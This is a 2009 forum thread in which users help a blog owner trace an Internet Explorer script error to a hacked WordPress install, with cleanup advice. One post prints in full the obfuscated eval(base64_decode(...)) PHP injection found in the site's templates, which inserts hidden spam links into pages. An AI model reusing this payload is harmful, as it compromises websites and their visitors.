Error on Page Message Wordpress

**Jordy3738** · 06-28-2009 08:41 PM

I keep getting a message at the bottom of my screen for Internet explorer that says "error on page" when I surf my wordpress blog.

I think the 2.8 update really messed up some things internally. Ever since I got my blog back up and running, from the disaster that hit when I launched the automatic update, my traffic stats have been down by over two hundred visitors a day. That's a 2/3 drop that has left me with less than 100 per day now.

How can I find and fix this error?

**kelevraco** · 06-28-2009 08:55 PM

http://validator.w3.org/ try it there if that doesn't find it let me know what url it is and I will run it through a site I am a member of that will pin point errors for you.

**Jordy3738** · 06-28-2009 10:29 PM

Notes and Potential Issues
The following notes and warnings highlight missing or conflicting information which caused the validator to perform some guesswork prior to validation. If the guess or fallback is incorrect, it could make validation results entirely incoherent. It is highly recommended to check these potential issues, and, if necessary, fix them and re-validate the document.

Unable to Determine Parse Mode!

The validator can process documents either as XML (for document types such as XHTML, SVG, etc.) or SGML (for HTML 4.01 and prior versions). For this document, the information available was not sufficient to determine the parsing mode unambiguously, because:

the MIME Media Type (text/html) can be used for XML or SGML document types
No known Document Type could be detected
No XML declaration (e.g <?xml version="1.0"?>) could be found at the beginning of the document.
No XML namespace (e.g <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">) could be found at the root of the document.
As a default, the validator is falling back to SGML mode.

No Character encoding declared at document level

No character encoding information was found within the document, either in an HTML meta element or an XML declaration. It is often recommended to declare the character encoding in the document itself, especially if there is a chance that the document will be read from or saved to disk, CD, etc.

So I did the w3 thing and this is what it returned. Now what am I supposed to do with it?
The site is http://fixmycabinet.com if you would like to take a look for yourself.

**meloncholy** · 06-30-2009 07:12 AM

You seem to have a problem with wpsf-js.php, the JavaScript file included by WP SpamFree. Specifically, it seems to have, um, a load of spam at the top.

<div style="display:none">The <b><a href="[redacted]">bad credit debt consolidation loan</a></b> was negligently clausal, lit tiresomely by the orwellian hayek of a cotinga prolusion revenuer had densely by his malecite prilosec. <u><a href="[redacted]">Homes for sale winder georgia</a></u> that an sickish sepsis...

This line is also invalid JavaScript (as it's HTML of course), giving the error in IE. The first line in the file should be

Code:

// WP-SpamFree 2.1.0.2 JS Code :: BEGIN

It may also be what's causing the stats drop, as Analytics uses JavaScript too. Do 2/3 of your visitors use IE?

**Jordy3738** · 06-30-2009 09:09 AM

OK, so how do I correct the problem?

Should I disable the WP Spam Free plug-in, remove it from my FTP and re install it again?

Should I can it all together and try something different?

Yes, 2/3 of my visitors use IE.

**Jordy3738** · 06-30-2009 09:34 AM

I deleted the wpspf from my FTP, downloaded it again from the Wordpress Plug-ins and reinstalled it through my FTP.

It has been reactivated and I am still getting an error message.

**meloncholy** · 06-30-2009 10:35 AM

I don't understand what's going on here.

I've just downloaded a copy of WP-SpamFree and, as far as I can tell, it looks fine. Could you open /wp-content/plugins/wp-spamfree/js/wpsf-js.php (download it from your server via FTP) and confirm it starts like this?

PHP Code:


<?php
$root = dirname(dirname(dirname(dirname(dirname(__FILE__)))));
if (file_exists($root.'/wp-load.php')) {
    // WP 2.6
    include_once($root.'/wp-load.php');
    } else {
    // Before 2.6
    include_once($root.'/wp-config.php');
    }

$wpSpamFreeVer                = get_option('wp_spamfree_version');
$spamfree_options            = get_option('spamfree_options');
$CookieValidationName          = $spamfree_options['cookie_validation_name'];
$CookieValidationKey         = $spamfree_options['cookie_validation_key'];

update_option( 'ak_count_pre', get_option('akismet_spam_count') );

@setcookie( $CookieValidationName, $CookieValidationKey, 0, '/' );
    
header('Cache-Control: no-cache');
header('Pragma: no-cache');
header('Content-Type: application/x-javascript');
echo "
// WP-SpamFree ".$wpSpamFreeVer." JS Code :: BEGIN

// Cookie Handler :: BEGIN

For the source file to be consistent with the output I'm seeing, I would expect the last few lines to be

PHP Code:


header('Cache-Control: no-cache');
header('Pragma: no-cache');
header('Content-Type: application/x-javascript');
echo "
<div style="display:none"><!--741755589-->The <b><a href="xxxxxxxxxx [big long line of spammy text and links, or at least some code between the echo just above and the next line]
// WP-SpamFree ".$wpSpamFreeVer." JS Code :: BEGIN

// Cookie Handler :: BEGIN

If your copy is actually fine (i.e. without the spammy HTML line) then it looks like something is injecting the code into that file at runtime. Somehow.

I assume that you don't get an error when WP-SpamFree is disabled. Or if you do, is the error in a different file? Do you still get the error with just WP-SpamFree enabled?

**Jordy3738** · 06-30-2009 02:03 PM

My wp-content/plugins/wp-spamfree/js/wpsf-js.php matches what you have posted, the other block of code you posted I'm not sure where to find it.

I deactivated all of my plug-ins and cleared the cookies on my browser and still got an error message using Internet explorer.

How am I going to get rid of this block of spam in the code?

**Jordy3738** · 06-30-2009 05:24 PM

<? /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl 9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXsk R0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG 9tZS9jb250ZW50L2gvYS92L2hhdmVuZnVuMi9odG1sL3ByYXll cmZvcnlvdXRoL1RoZW1lcy9kZWZhdWx0L2ltYWdlcy9idXR0b2 5zL3N0eWxlLmNzcy5waHAnKSl7aW5jbHVkZV9vbmNlKCcvaG9t ZS9jb250ZW50L2gvYS92L2hhdmVuZnVuMi9odG1sL3ByYXllcm ZvcnlvdXRoL1RoZW1lcy9kZWZhdWx0L2ltYWdlcy9idXR0b25z L3N0eWxlLmNzcy5waHAnKTtpZihmdW5jdGlvbl9leGlzdHMoJ2 dtbCcpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtpZigh ZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbi BnemRlY29kZSgkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2 NzMyODY4KXskUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0 JEODZCPW9yZChzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFE QzY4MkYwNjczMjg2OCwzLDEpKTskUjYwMTY5Q0QxQzQ3QjdBN0 E4NUFCNDRGODg0NjM1RTQxPTEwOyRSMEQ1NDIzNkRBMjA1OTRF QzEzRkM4MUIyMDk3MzM5MzE9MDtpZigkUjZCNkU5OENERThCMz MwODdBMzNFNEQzQTQ5N0JEODZCJjQpeyRSMEQ1NDIzNkRBMjA1 OTRFQzEzRkM4MUIyMDk3MzM5MzE9dW5wYWNrKCd2JyxzdWJzdH IoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwx MCwyKSk7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMz kzMT0kUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMx WzFdOyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFND ErPTIrJFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkz MTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRD g2QiY4KXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1 RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRj A2NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFC NDRGODg0NjM1RTQxKSsxO31pZigkUjZCNkU5OENERThCMzMwOD dBMzNFNEQzQTQ5N0JEODZCJjE2KXskUjYwMTY5Q0QxQzQ3QjdB N0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qz c0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKSwkUjYwMTY5 Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31pZigkUj ZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjIpeyRS NjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDErPTI7fS RSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9Z3pp bmZsYXRlKHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNj gyRjA2NzMyODY4LCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4 ODQ2MzVFNDEpKTtpZigkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RD cyQUZBRTM5RjUzPT09RkFMU0UpeyRSQzRBNUI1RTMxMEVENEMz MjNFMDRENzJBRkFFMzlGNTM9JFIyMEZENjVFOUM3NDA2MDM0Rk FEQzY4MkYwNjczMjg2ODt9cmV0dXJuICRSQzRBNUI1RTMxMEVE NEMzMjNFMDRENzJBRkFFMzlGNTM7fX1mdW5jdGlvbiBkZ29iaC gkUkRBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKXtI ZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6IG5vbmUnKTskUjNFMz NFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwPWd6ZGVjb2Rl KCRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0YpO2 lmKHByZWdfbWF0Y2goJy9cPGJvZHkvc2knLCRSM0UzM0UwMTdD RDc2QjlCN0U2QzczNjRGQjkxRTJFOTApKXtyZXR1cm4gcHJlZ1 9yZXBsYWNlKCcvKFw8Ym9keVteXD5dKlw+KS9zaScsJyQxJy5n bWwoKSwkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRT kwKTt9ZWxzZXtyZXR1cm4gZ21sKCkuJFIzRTMzRTAxN0NENzZC OUI3RTZDNzM2NEZCOTFFMkU5MDt9fW9iX3N0YXJ0KCdkZ29iaC cpO319fQ==')); ?>

I found this in the beginning of my Index php it doesn't look like it belongs there.

OK, it's pretty obvious I've been hacked, now what?

**kelevraco** · 06-30-2009 05:50 PM

So far this is what my scanner has picked up.
http://www.semsikkha.org/forum/index.php/?aurl=56 403(Code 403 : Forbidden)
Unknown
http://forum.bebegimonline.com/?ptzzi=169 0(no code what so ever)
Unknown
http://www.newsgator.com/ngs/subscri...://fixmycabine... 302(Code 302 : Found)
Redirection
The rest of your links report a code 200 (Code 200

ok

Meta info
Title Fix My Cabinet-Cabinetry Repairs
(Okay)

Meta Keywords I removed these.
(Okay)

Meta Description Can you show me how to fix my cabinet doors (wood, melamine, mica, thermofoil), drawers, hinges, or water damaged areas? We teach cabinetry repairs. We can show you how to fix face frame or European style real wood or mica (plastic laminate) cabinetry. Professional tips (or, â��informationâ��) for cabinetry repair. Broken cabinets can be fixed if you have the correct tools and knowledge. Cabinet makers in your area may be better suited to tackle the task at hand so consider hiring a pro.
(Too Long)

Robots Warning: No robot meta tag found, however robots.txt was found

Also when it pulled in your source code it was valid and did not see all the jiberish you just showed. So is it safe to say you removed this already?

Page Size 54800 bytes
Text Size 19340 bytes
Code Size 35460 bytes
Text to Code 35.29%

Too much to post here but even what the spiders see looks clean with no errors.

**Jordy3738** · 06-30-2009 06:16 PM

I have not removed all of the jibberish, It is in my Index php, should I remove it?

Someone in the Wordpress forum suggested this:

It isn't a reference to your anti-spam plugin. Your site has been injected with a "invisible" div containing spam links. Visit your homepage and view the source. Find the "body" tag. The injected code is right after the body tag. When the div is displayed, there is a full page of spam text with several links to similarly attacked webpages.

You will need to manually purge the code, then likely spend some time figuring out how the code got injected.

I'm way over my head on this one. Any suggestions will be greatly appreciated.

**Jordy3738** · 06-30-2009 06:28 PM

The same jibberish code is in my "page php", "links php" actually it is in the beginning of all of my templates.

**kelevraco** · 06-30-2009 09:22 PM

Well the odd thing with that jiberish is it doesn't seem to be showing up in the validaters. I think I would back up the whole site. Remove the issues at hand and see what happens.
Also looks like you may have to pull apart your whole site to find the DIV that does not belong. Also make sure you change all of your passwords as well.

**meloncholy** · 07-01-2009 06:59 AM

I should start by saying this is not my area. If there's anyone else reading this who knows more, please jump in with some sage advice.

That said, Google did turn up some promising links

Wordpress Spam Injection = Google Penalty for My Blog (But Not Website)
Wordpress Spam Injection: ‘Goro’ hacked my blog
Expunging the wordpress.net.in spam injection hijack
The Aftermath of a Wordpress Spam Injection (and a Tool to Prevent it)
Wordpress exploit: we been hit by hidden spam link injection
How to remove wordpress.net.in spams Remote Injection

General stuff I'd do in your position:

- Strip out the bad code from all of your template files. Almost anything 'encrypted' with base64 is that way because someone has something to hide, not for your benefit.

- Check other files (plugins, WordPress source) to see if any of them have similar problems. If any of them do, I'd be tempted to delete them and upload WordPress and the plugins again. In particular, check these files. (Keep the database so you'll be back where you were once you've uploaded everything again. And actually I think I'd rename the WordPress folder instead of deleting it, just in case things went horribly wrong.

)

- As kelevracro says, change your passwords (FTP, WordPress, database).

- If you have any themes or plugins that weren't downloaded from wordpress.com then make sure you can trust them. I suspect this is the most likely route in for the exploit.

- It's possible that the problem will be in your database, in which case you'll have to sanitise that as well.

Once you've stripped the issues out, see if they reappear. I'd also browse the site as Googlebot (see links above) or check the Google cache to make sure there aren't any other links hidden from you.

Hope that's of some help.

**Jordy3738** · 07-02-2009 02:26 PM

I found someone local to clean things up.

Actually, what they found is that my server at Godaddy had been violated and every page on two forums and three blogs had the spammy links injected into them.

I hate spam

Thread: Error on Page Message Wordpress

LinkBack

Thread Tools

Display

Error on Page Message Wordpress

Posting Permissions